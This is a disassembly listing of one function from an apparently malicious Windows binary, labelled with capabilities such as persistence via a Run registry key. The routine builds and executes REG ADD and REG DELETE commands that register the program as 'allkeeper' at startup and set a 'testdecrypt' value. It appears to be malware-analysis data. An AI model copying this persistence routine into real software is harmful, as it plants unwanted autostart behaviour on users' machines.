Function at 0x41d080
Capabilities:
Create process on windows
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.kernel32
mov esi, ecx
mov dword [ebp - 0x214], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov cx, word [0x4505b0]
movq xmm0, qword [str.IsWow64Process]
mov edx, dword [0x4505ac]
mov word [ebp - 8], cx
mov cl, byte [0x4505b2]
mov byte [ebp - 6], cl
lea ecx, [ebp - 0x14]
push ecx
push eax
movq qword [ebp - 0x14], xmm0
mov dword [ebp - 0xc], edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x41d0f7
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
cmp esi, 1
jne 0x41d1cc
push 0xff
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x92
lea eax, [ebp - 0xa8]
mov ecx, 0x1a
mov esi, str.REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun___v__allkeeper___t_REG_SZ__d__
lea edi, [ebp - 0x110]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00429a90
lea edx, [ebp - 0x210]
add esp, 0xc
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x41d144
lea edi, [ebp - 0x110]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41d154
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x110]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x41d171
cmp dword [ebp - 0x214], 0
mov eax, dword [str.___f]
mov dword [ecx], eax
mov al, byte [0x4504e4]
mov byte [ecx + 4], al
je 0x41d1c1
lea ecx, [ebp - 0x110]
dec ecx
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x41d1a0
mov eax, dword [str.__reg:64]
mov dword [ecx], eax
mov eax, dword [0x44d5a0]
mov dword [ecx + 4], eax
mov al, byte [0x44d5a4]
mov byte [ecx + 8], al
lea eax, [ebp - 0x110]
jmp 0x41d2e7
cmp esi, 3
jne 0x41d279
movups xmm0, xmmword [str.REG_ADD__HKEY_CURRENT_USERSOFTWARE___v__testdecrypt___t_REG_SZ__d_1]
mov eax, dword [0x450528]
mov dword [ebp - 0xa8], eax
mov ax, word [0x45052c]
movups xmmword [ebp - 0xe8], xmm0
push 0x8c
movups xmm0, xmmword [0x4504f8]
mov word [ebp - 0xa4], ax
lea eax, [ebp - 0xa2]
push 0
movups xmmword [ebp - 0xd8], xmm0
push eax
movups xmm0, xmmword [0x450508]
movups xmmword [ebp - 0xc8], xmm0
movups xmm0, xmmword [0x450518]
movups xmmword [ebp - 0xb8], xmm0
call fcn.00429a90
add esp, 0xc
cmp dword [ebp - 0x214], 0
je 0x41d271
lea ecx, [ebp - 0xe8]
dec ecx
nop dword [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x41d250
mov eax, dword [str.__reg:64]
mov dword [ecx], eax
mov eax, dword [0x44d5a0]
mov dword [ecx + 4], eax
mov al, byte [0x44d5a4]
mov byte [ecx + 8], al
lea eax, [ebp - 0xe8]
jmp 0x41d2e7
test esi, esi
jne 0x41d2f0
cmp dword [ebp - 0x214], 0
lea edi, [ebp - 0x94]
mov ecx, 0x17
mov esi, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun___v__allkeeper___f
rep movsd dword es:[edi], dword [esi]
xorps xmm0, xmm0
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
movups xmmword [ebp - 0x35], xmm0
mov dword [ebp - 0x1d], 0
movq qword [ebp - 0x25], xmm0
mov word [ebp - 0x19], 0
je 0x41d2e1
lea ecx, [ebp - 0x94]
dec ecx
nop dword [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x41d2c0
mov eax, dword [str.__reg:64]
mov dword [ecx], eax
mov eax, dword [0x44d5a0]
mov dword [ecx + 4], eax
mov al, byte [0x44d5a4]
mov byte [ecx + 8], al
lea eax, [ebp - 0x94]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.004261dc
mov esp, ebp
pop ebp
ret